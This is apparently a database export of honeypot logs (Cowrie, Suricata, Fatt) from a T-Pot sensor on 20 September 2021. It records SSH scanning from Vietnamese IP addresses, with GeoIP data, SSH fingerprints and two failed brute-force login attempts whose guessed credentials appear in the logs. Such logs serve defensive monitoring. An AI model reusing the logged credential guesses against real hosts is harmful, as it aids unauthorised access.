cowrie.session.closed	\N	\N	\N
26048	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:36.377359+03	2021-09-20 14:15:12.766647+03	{"_id": "XgbnAnwBvYTbRNuEeB_Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "95fb00b134d2", "@version": "1", "timestamp": "2021-09-20T11:11:36.377359Z", "@timestamp": "2021-09-20T11:11:36.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26049	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:36.409886+03	2021-09-20 14:15:12.767648+03	{"_id": "XwbnAnwBvYTbRNuEeB_Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [user7/321] failed", "session": "39280b1bd689", "@version": "1", "password": "321", "username": "user7", "timestamp": "2021-09-20T11:11:36.409886Z", "@timestamp": "2021-09-20T11:11:36.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26050	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:36.333932+03	2021-09-20 14:15:12.768647+03	{"_id": "YAbnAnwBvYTbRNuEeh__", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 67127862617752, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36572, "dest_port": 22, "timestamp": "2021-09-20T11:11:36.333932Z", "@timestamp": "2021-09-20T11:11:36.333Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26051	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:37.081934+03	2021-09-20 14:15:12.769647+03	{"_id": "YgbnAnwBvYTbRNuEex8A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1544343209379315, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45204, "dest_port": 22, "timestamp": "2021-09-20T11:11:37.081934Z", "@timestamp": "2021-09-20T11:11:37.081Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26052	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:37.119443+03	2021-09-20 14:15:12.770647+03	{"_id": "ZgbnAnwBvYTbRNuEfB8i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53396, "timestamp": "2021-09-20T11:11:37.119443", "@timestamp": "2021-09-20T11:11:37.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26053	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:37.701391+03	2021-09-20 14:15:12.771646+03	{"_id": "iQbnAnwBvYTbRNuEgB8L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57978, "timestamp": "2021-09-20T11:11:37.701391", "@timestamp": "2021-09-20T11:11:37.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26054	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:37.429632+03	2021-09-20 14:15:12.772646+03	{"_id": "iAbnAnwBvYTbRNuEgB8L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53396, "dest_port": 22, "timestamp": "2021-09-20T11:11:37.429632", "@timestamp": "2021-09-20T11:11:37.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26055	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:37.69991+03	2021-09-20 14:15:12.773646+03	{"_id": "igbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:57978 (192.168.176.2:22) [session: debf483f58c7]", "session": "debf483f58c7", "@version": "1", "protocol": "ssh", "src_port": 57978, "dest_port": 22, "timestamp": "2021-09-20T11:11:37.699910Z", "@timestamp": "2021-09-20T11:11:37.699Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26056	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:37.822888+03	2021-09-20 14:15:12.774646+03	{"_id": "iwbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:41424 (192.168.176.2:22) [session: 39e9467c2947]", "session": "39e9467c2947", "@version": "1", "protocol": "ssh", "src_port": 41424, "dest_port": 22, "timestamp": "2021-09-20T11:11:37.822888Z", "@timestamp": "2021-09-20T11:11:37.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26057	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:38.183515+03	2021-09-20 14:15:12.775646+03	{"_id": "jAbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:45200 (192.168.176.2:22) [session: 3325e692de3e]", "session": "3325e692de3e", "@version": "1", "protocol": "ssh", "src_port": 45200, "dest_port": 22, "timestamp": "2021-09-20T11:11:38.183515Z", "@timestamp": "2021-09-20T11:11:38.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26058	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:38.361336+03	2021-09-20 14:15:12.776646+03	{"_id": "jQbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:48540 (192.168.176.2:22) [session: 78ce23a5e910]", "session": "78ce23a5e910", "@version": "1", "protocol": "ssh", "src_port": 48540, "dest_port": 22, "timestamp": "2021-09-20T11:11:38.361336Z", "@timestamp": "2021-09-20T11:11:38.361Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26059	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:37.700743+03	2021-09-20 14:15:12.777646+03	{"_id": "mgbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "debf483f58c7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:37.700743Z", "@timestamp": "2021-09-20T11:11:37.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26060	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:37.715247+03	2021-09-20 14:15:12.779646+03	{"_id": "mwbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [lpa/lpa] failed", "session": "47b5e57a6bd5", "@version": "1", "password": "lpa", "username": "lpa", "timestamp": "2021-09-20T11:11:37.715247Z", "@timestamp": "2021-09-20T11:11:37.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26061	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:37.735443+03	2021-09-20 14:15:12.780644+03	{"_id": "nAbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "39280b1bd689", "@version": "1", "duration": 4.569697856903076, "timestamp": "2021-09-20T11:11:37.735443Z", "@timestamp": "2021-09-20T11:11:37.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26062	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:37.878726+03	2021-09-20 14:15:12.781645+03	{"_id": "nQbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "39e9467c2947", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:37.878726Z", "@timestamp": "2021-09-20T11:11:37.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
